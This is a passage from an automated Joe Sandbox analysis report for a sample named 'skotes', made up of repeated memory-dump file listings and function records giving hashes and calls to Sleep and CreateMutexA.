Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5bc7cc4a1212727ae767e8c9650fdcd777568c608ccb4b8a36532813427130be
Instruction ID: 4f22fe6016a5864025a81292cbe400f2b9a2adc4d1e8fcbf851ca052c843f100
Opcode Fuzzy Hash: 5bc7cc4a1212727ae767e8c9650fdcd777568c608ccb4b8a36532813427130be
Instruction Fuzzy Hash: E9314A31B041049BFF18ABB8DDD976DB772EF95314F64421AE024DB3D1C7759A808B12

Function 0018A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dc145b7ab4fe4ba72b61cc781892e0891a7922c31756c2deec3f02a337dcc037
Instruction ID: 76208641b03f266716e88de49a70af1e66fae60ce06edcf3c4c236b5135c9dae
Opcode Fuzzy Hash: dc145b7ab4fe4ba72b61cc781892e0891a7922c31756c2deec3f02a337dcc037
Instruction Fuzzy Hash: C4314A31A041449BFB18ABB8DDD976DB772AF96314F64421AE014EB2D1C7759A808B12

Function 0018A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 15027d158756070fe17cc4719a9ebf175dc75e27f096b6857e029e5c9ca683e2
Instruction ID: fba9082b0e8d187cf0e5496b7e16214a020de877fe9319468a43c42b73383505
Opcode Fuzzy Hash: 15027d158756070fe17cc4719a9ebf175dc75e27f096b6857e029e5c9ca683e2
Instruction Fuzzy Hash: 54316A31A041049BFF08BBB8D99DB7DB762EF95314F64421AE024DB2C5C7B55A808B52

Function 0018A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5cb5142826abdf2e144711a104ba52c860f51f1926f96e23f36a9a74213ac613
Instruction ID: 86dc629b619280f402b68e122d4389a02f6c7fccd83f0d92ed1120875317872d
Opcode Fuzzy Hash: 5cb5142826abdf2e144711a104ba52c860f51f1926f96e23f36a9a74213ac613
Instruction Fuzzy Hash: ED314A71A041049BFB18FBB8DDD977CB762EFC5318FA4821AE014EB2D5C7759A808B12

Function 0018A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f08cc51e9def85bde1c3989db128324fb892b7ecce59fd2d338544bd51ace881
Instruction ID: ddb8dcafe1389eb9f96c4773b26223277280d74a110fd3dcdd42b49580a64b4f
Opcode Fuzzy Hash: f08cc51e9def85bde1c3989db128324fb892b7ecce59fd2d338544bd51ace881
Instruction Fuzzy Hash: 0B316A71A041049BFB08FBB8DDD976DB772EF85314F64821AE024EB2D5C7759A808B52

Function 00189ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
